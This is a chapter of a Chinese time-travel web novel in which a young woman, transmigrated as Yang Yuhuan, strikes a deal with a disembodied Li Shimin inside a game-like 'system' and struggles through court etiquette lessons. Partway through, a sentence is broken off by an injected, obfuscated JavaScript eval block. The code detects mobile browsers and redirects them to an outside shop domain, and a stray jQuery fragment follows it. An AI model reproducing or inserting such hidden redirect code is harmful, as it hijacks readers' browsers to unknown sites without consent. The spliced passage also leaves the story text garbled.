上赶着的不是买卖。
昨晚用"大唐要亡了"把李世民镇住之后，杨九娘并没有趁热打铁把对方拉上自己的贼船。
彼时，李世民用“难道一个女子还能亡国不成”哐她，她无所谓地只“哦”了一声。
女子是亡不了国，什么夫差西施、周幽王褒姒、纣王妲己……不过是男人给自己的过度纵横享乐找的借口罢了。
但她也不想花费口舌争辩。
从他出现以来，自己就被牵着鼻子走。
她当对方是队友，结果对方当她NPC。
杨九娘又研究了下系统，然后把李世民给收起来了。
皇上不急的时候，太监就会急的。
她是在这里举步维艰，但难道李世民就没有在意的东西了吗？
能让李世民兢兢业业、克己奋发一辈子的，不就是这大唐江山吗？
李二凤可是个有高端追求的人。
她得让他明白，他需要自己，胜过自己需要他。
天没亮，春钿的声音就响了："小娘子，该起身了。"
得去养母那里请安。
杨九娘脑瓜子嗡嗡地坐起来：起得比鸡早啊。
昨晚上还只喝了一碗寡淡的白粥，肚子后知后觉也开始叫唤了。
这还没穿到贫困人家或者丫鬟身上……
造孽啊……
大丫鬟清商在检查她的气色、摸额头试余热、问昨夜睡得如何。
“还行吧。”杨九娘有气无力。
吃不好也睡不好，人活着图什么呢？
不对，今天是不是要去晨省：要跪吗？手放哪？开口要说什么？
真是眼前一黑又一黑。
罢了罢了，杨九娘在心里默念：【李世民，合作吗？】
一夜未见的脑袋缓缓出现，李世民不辨喜怒地看着她。
【你我各自负责什么？】
这么喊下去，他要习惯被喊“李世民”了……人在屋檐下……
【李世民，现在很难说清楚具体都要做什么，但目标是清晰的，我不想死，你不想大唐灭亡。】
【目前首要任务，是让我熟悉这个时代风俗人情，别被当做异类。】
【OK吗？】
李世民发现他居然听懂了“OK”……
所以他也是加载了语音包吗？这个小娘子语音体系的语音包？
在杨九娘正要换个表达的时候，他回道，【OK。】
杨九娘震惊了下，【你听懂了？】
不对，这么说，他听不到，但她的表情已经足够诠释。
【你不也能看懂？】
哟，有脾气了。
更像个工具人了。
杨九娘是能听懂也能看懂，猜测是继承了这具身体带来的福利。
【语音包是默认加载的。】李世民主动贡献信息了。
杨九娘点点头：这样啊。
打工人·李世民开始发力了？
【李世民，还有别的吗？】
【你等级太低了，lv0什么也没有，得赶紧升级。好歹把Lv1的常识包加载了。】
这话说的，她考不上清华北大是因为不喜欢吗？她难道不知道常识包的重要性吗？
狗系统，这么重要的东西竟然不是默认配置，倒逼打工……
这跟在现代，要打工人自己交水电费有什么区别？
【李世民，你扒拉下，杨府有什么人算‘关键人物’吗？】杨九娘顺势问道，“所以关键人物都有什么衡量标准？”
【关键人物，是说有能力参与到改变杨玉环命运轨迹的人。】
这是官方口径。
考虑到杨九娘的思维不同于常人，李世民还用自己的理解进一步解释了。
【比如有政治影响力，能直接影响朝局决策。】
【比如手握兵权，能暴力破局。】
【还有像掌握信息渠道，能获取/封锁关键情报】
杨九娘心里默默盘算。
那唐玄宗肯定算一个，政治影响力谁能比他大？
安禄山手腕子够硬，必须算。
还有谁呢？高力士肯定算，李白算吗？杜甫、白居易呢？
现在的宰相是谁？
当时推翻唐玄宗的皇子是哪个？
马嵬之变关键人物呢？
李世民一边说着，一边申请权限后翻看了杨府人物关系：关键人物虽说不是取决于亲密关系，但一个都没有吗？
这么弱的人家，为什么能攀上皇子？
——纯看脸吗？是正妃吗？
【那你出府试试。】以他万人迷的身份，还能升不了级吗？
杨九娘的思路被打断，听他这么一说，豁然开朗：是哦，不知道能不能蹭到李世民的光环啊，印象里他很擅长结交“关键人物”啊。
杨九娘还浮现出欣喜之色。
见状，李世民提要求了，【沟通的方案，能换个称呼吗？】
哦对，古代好像得称呼字啊号啊什么的是吧……
杨九娘有点子尴尬，眼神飘忽开：那她岂不是一直很没礼貌？
但是……所以这个系统是顺着她的习惯来？Nice~
见杨九娘表情微妙，李世民反而更放心了。
为此会心生愧疚的人，能糟糕到哪里去呢？
【行——李世民先生——陛下，好的，你想改什么？】
清商是那种不多话但手脚利落的人，没待一会儿，办完了差事就跟她告退了。
春钿还在叽叽喳喳问她想用哪个头饰。
杨九娘随意指了指，“春钿，这几天太憋闷了，我想出去踏青——出去看看。”
大冬天的，踏青是不是不能这么说啊。
杨九娘紧急修改措辞。
老天奶啊……她绞尽脑汁才想到“踏青”这个词……
论打工人的卑微，不干活就不会出错……
【“圣人”，如何？】李世民一副通情达理、征求意见的样子。
圣人是唐朝对皇上的尊称。
春钿诧异，她呆呆地看向杨九娘，语气都变了，“小娘子？！”
“六礼走完、册妃圣旨下达，小娘子名义上已是王妃。”
杨九娘心怀忐忑地听着：所以呢？
春钿要哭了，“未到成婚之日，若无宫中特传口谕，府邸中门都不能踏出。”
而且，武惠妃派来的女官会将杨九娘的一举一动都回报宫中。
这样的吗？
杨九娘暗暗磨牙：【李世民，你长得浓眉大眼，怎么能干这种缺德事？】
有问题就说问题，有不满就提不满，整这些小手段做什么？
李世民也很懵：这不是唐朝吗？
【骑马游春本就是世家女子常事，朕贞观年间贵妇出游从无禁令。】
【李世民你闭嘴。】
杨九娘先是禁止李世民出声产生干扰，然后对着春钿哀哀戚戚地胡说八道，“春钿，我好害怕啊……”
“我自从醒来就发现自己脑子经常忘事，甚至有时候会想不起来自己是谁……”
“这可怎么办好啊，马上就要去寿王府了，万一有个好歹，更难收场。”
春钿被惊得瞠目结舌，眼泪都卡顿了。
然而杨九娘还在开大，“若是逃婚，又怕连累全家……”
春钿当即跪下了，“小娘子，万万不可啊。”
若是拒嫁、逃婚，属于抗旨、忤逆君上，杨氏一族都会连坐流放。
杨九娘心想：你知道就好啊，还不快来帮我。
此举在清商帮忙选衣服的时候，请春钿当主角，自己当配角，又唱了一次戏。
至此，好歹不是光杆司令了，收获两枚忠心丫鬟。
于是，在丫鬟的帮助下，杨九娘有惊无险地完成了晨省。
在门口等候的时候，她就在心里反复背：门外候、得许入、肃拜、口称、命坐、辞拜退步。
这才是第一天。
这日子没法过了！
升级升级升级！
【李世民，你想改什么称呼？】杨九娘决定还是给他点甜头，从养母那儿一出来，就先招呼他了。
李世民这辈子，从来没这么憋屈过。
就算当初父亲偏爱大哥，但自己的实力没话说，任谁都得承认他少年英雄。
如今怎么毫无用武之地？
身体也没有，只有脑子，但他面对的是个小娘子，不能走建功立业的路；明明有朝代背景优势，但变动良多，又无法施展。
但李世民相信，金子总会发光。
不过现在佛不拜过去佛，【小娘子有建
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712622|208462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
议吗？】
杨九娘眼睛一转：【李世民，老叔叔？】
李世民：叔叔就叔叔，为什么要加个“老”？但要是论年龄……爷爷也做得。
杨九娘用意念修改了李世民的系统名称，改为了“圣人”。
李世民脸上微微流露几分感念，“谢过小娘子了。”
“九五之尊在我这里，落差这么大，你也没说什么。”杨九娘自认作为“领导”，现在啥实质奖励也给不了下属，那就只能给情绪价值了。
李世民：是个好心的小娘子呢。
【小娘子可知，为何如今管束女子到这般地步？】
【李——圣人，】她阴阳怪气，【谁知道唐玄宗这个神经病是怎么想的？】
李世民：……
——就是脾气差了些。
脾气不好的杨九娘脸色不虞地又去询问系统的AI客服，成功修改了和李世民的对话条件。
以后除了第一次沟通需要带称呼，其他时候，只要在上一条沟通的5分钟内，默认对话通道不关闭。
养母作为杨府女主人，杨九娘的变化自然瞒不过她。
但还能怎么样？都到这个时候了，不仅得睁一只眼闭一只眼，还得帮着遮掩……
嫁出去就行，反正寿王看中的只是那张脸。
而且，出嫁女就算犯罪也不及娘家。
杨九娘不知道养母的小九九，她现在愁的是宗室礼仪。
内廷指派的教习嬷嬷，五十来岁，面相端正，说话像敲铜钟。
啊啊啊啊啊！杨九娘内心土拔鼠尖叫！！怎么可以这么复杂！！！
六礼这种有意思的场面她没赶上，又脏又累的活倒是没少。
她一点儿学习的印象都没有，结果：从出门登辇、至王府门下行礼、跨鞍、入堂拜天地、见寿王父母舅姑、执枣栗敬献、同牢合卺、入新房坐帐、次日晨起问安……全流程彩排。
周嬷嬷恨铁不成钢，脸色肉眼可见地黑了。
说教口吻愈发明显。
杨九娘倒是可以理解对方的崩溃……那谁来理解她的崩溃呢？
这和让幼儿园的孩子考博士有什么区别？
虽然还有个替身会演示，但周嬷嬷专门抠杨九娘的细节：什么何时低头、何时屈膝，不同环节拜几次，甚至起身快慢、捧器物手势，有时候还抠她的回话语气……
毁灭吧！
还有3天半……
她真得能记住吗？
话说来这之前，她学习怎么样？上清北了吗？
既然想不起来，那就是上了吧。
反正出门在外，身份都是自己给的。
【小娘子……】
【说——】杨九娘咬牙切齿道，这个时候，他最好是真有事儿。
要不是看在他记性好，能暗中提醒自己的份儿上，这个节骨眼还打扰她，她高低得给他几分颜色看看。
【还有个办法可以让你拿到常识包。】虽听出她的不满，李世民语气不变。
【圣人请讲。】杨九娘陡然变化语气，可谓温良恭敬。
【可以先预支升级到lv1，需7日内……】
李世民还没说完，杨九娘盯着周嬷嬷皱纹都板正的脸，语速飞快道，【升升升升升！】
系统面板弹出：
**
是否是否同意Lv1预解锁？
条件：7日内完成首次关键人物签到
说明：逾期回退至Lv0，并在升级到lv1时，锁定原等级lv030天
**
杨九娘都没往后看，看到lv1就忍不住了，当即选择同意！
**常识包加载中**
**友情提示：初次加载，可能会出现呕吐、晕眩等不适症状**
友情后面杨九娘勉强看到好像是“提示”二字，就开始头晕目眩、天旋地转。
她……这是……
但与此同时，好像封闭的脑子突然开了一扇窗，阳光洒下……官制、称谓、礼制、禁忌……她突然就有概念了！
“小娘子！”这是春钿。
板正的脸上竟然有了惊慌之色，这是周嬷嬷。
哼，杨九娘失去知觉前心想，让你折腾我……
等她接上这打断的翅膀……哼，天高任鸟飞，看苍天饶过谁！